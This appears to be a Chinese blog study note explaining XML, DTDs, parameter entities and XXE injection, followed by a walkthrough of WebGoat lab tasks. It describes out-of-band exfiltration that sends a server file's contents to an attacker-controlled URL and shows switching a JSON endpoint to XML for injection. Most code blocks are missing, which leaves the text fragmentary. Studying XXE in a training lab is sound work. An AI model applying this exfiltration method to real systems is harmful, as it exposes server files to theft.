搞这个东西让我懂了一个道理:首先要完全掌握漏洞的相关知识才能成功实现攻击,一知半解完全就是看脸了…
XXE初步学习
XML与DTD
XML
- XML 指可扩展标记语言(EXtensible Markup Language)
- XML 是一种标记语言,很类似 HTML
- XML 的设计宗旨是传输数据,而非显示数据
XML
作为传输数据的格式之一,主要是将数据以树的方式存储,能够方便的以对象的方式读取数据。
基本格式
1 |
|
第一行是XML
声明,其定义了XML
使用的版本,以及内容使用的编码。
之后的则是节点,其中<note>
是作为根节点存在。之后的<info>
作为其的子节点。
XML的属性必须要用引号括起来。
在XML
中,必须要有根节点,也就是说要有一个独立的节点,其他的属性归在这个节点之下
DTD
DTD 的作用是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构。如果我们需要使用DTD,则需要在文档中包括下列内容:
1 |
定义属性:
1 | <?xml version="1.0"?> |
这里的意思是:定义一个note属性的文档(也就是说note为根节点),然后note之下有两个元素child1,child2,两个的属性都定义为(#PCDATA)
(PCDATA 的意思是被解析的字符数据(parsed character data)。可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。)
除了直接指明包含子节点
,也可以指定包含任意内容
来包含子节点
1 |
外部文档
如果说这个DTD文件是外部的文档的话,我们应该将头部修改为如下定义:
1 |
这里定义一个和上面基本相同的文件,不过这里我们使用外部文档:
1 |
|
其中note.dtd
文件的内容如下:
1 |
实体
- 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
- 实体引用是对实体的引用。
- 实体可在内部或外部进行声明。
- 实体也可以来自外部
定义如下:
1 |
如果来自外部的话,和外部文档定义类似:
1 | <!ENTITY 实体名称 SYSTEM "URI/URL"> |
当时用实体的时候,使用&实体名称;
的格式。并且如果定义了根节点,那么此时要在根节点的声明下,如下例子:
1 | <!DOCTYPE student [ |
此时grade
的外部一定要是当前文档的属性包括,不然的话会找不到当前的定义。
测试:如果此时去掉了student的Element声明,此时grade就不需要在student下了
参数实体
这种实体会先进行DTD
解析。并且也只能在DTD
中使用
1 |
|
这种特性会在%实体名;
处对这个对象进行解析。比如下列例子:
1 | <!ENTITY % a "<!ENTITY b 'app'>"> |
解析后会变成
1 | <!ENTITY b 'app'> |
类似于宏,不过根据规定,不能够有对自己内部的参数实体的引用,也就是说自己定义的参数实体不能被自己的实体引用
XXE
外部实体注入(XML External Entity),也就是通过包括外部实体的方式,实现任意文件读取的功能。
1 |
|
通过类似的应用方法调用协议,就能够读取到我们需要读取的数据,实现数据泄露。
远程数据泄露
有的时候,我们及时成功的注入了,服务器那边也没有给与我们回显怎么办(比如说,我们这个xml
传输只是作为数据存储使用,所以此时没有回显给我们看到)?这个时候我们就要考虑利用一次DTD
作为跳板,让远程的数据在我们可以控制的服务器上显示。
这种时候,我们首先利用参数实体解析的特点,首先发往对面服务器的数据为:
1 |
|
此时,这个dtd
在服务器上机会开始被解析(evil的使用时关键之一)。当解析遇到了 url 的时候,便开始将这个实体解析。由于发现是一个外部连接,于是开始解析外部的dtd
实体。此时我们外部的实体中内容为:
1 |
|
此时,我们外部实体中的数据也是一个xml,并且我们这边会将内容发送至服务器那解析。于是内容就变成了
1 |
于是这个对象就定义完成了。服务器此时遇到了evil
实体后,就会尝试发起请求,并且这个请求的url就是:
1 | http://oursite.com/record?text=[secret.txt的文件内容] |
于是就能够实现数据的泄露!。
疑问:为什么不直接将这个地址写死呢?
比如说http://localhost:8081/landing?text=file:///C://Users//secret.txt
这样的链接可行吗?
如果直接写死的话,此时不经过解析,所以不会打开文件。
疑问:为什么不再本地进行解析
比如说:
1 | <?xml version="1.0" encoding="utf-8"?> |
这个是XML语法规定,参数实体引用 \\"%file;\\"
不能出现在 DTD 的内部子集中的标记内。换句话说,当实体声明(也就是一个<ENTITY>
定义)的时候,不能够有对自己内部的参数实体的引用。但是,如果说引用了数据的标记不是内部子集,也就是来自外部的数据的话,就能够实现对该数据的引用。
如何检测是否有漏洞
第一步,检测是否有 XML 的解析器
1 |
|
如果有的话,检测能否支持外部实体:
1 |
查看服务器日志即可。
实例
WebGoat有一个和评论区留言有关的题目,可以看到抓到的包为:
这里能够看到,是一个简单的json
传输块。题目还提到说,这个位置的利用方法是JSON endpoints being vulnerable to XXE attacks
,则此时猜想,服务器后台可以解析XML,那么此时将包中的:
1 | Ccontent-type |
属性中的json
改成xml
,并且将发包的内容改成:
1 |
|
即可实现泄露数据
远程数据泄露
第三个和评论区相关的题目没有回显,我们得利用之前提到的数据泄露的方法。我们此时和上述介绍的做法类似,首先要新建一个evil2.dtd
1 |
|
然后将原先发送的数据包内容改成:
1 |
|
然后我们在WebWolf
(搭建在本地8081端口上的临时服务器)中查看访问得到的数据:
这里看到的 text 中的数据就是我们泄露的数据啦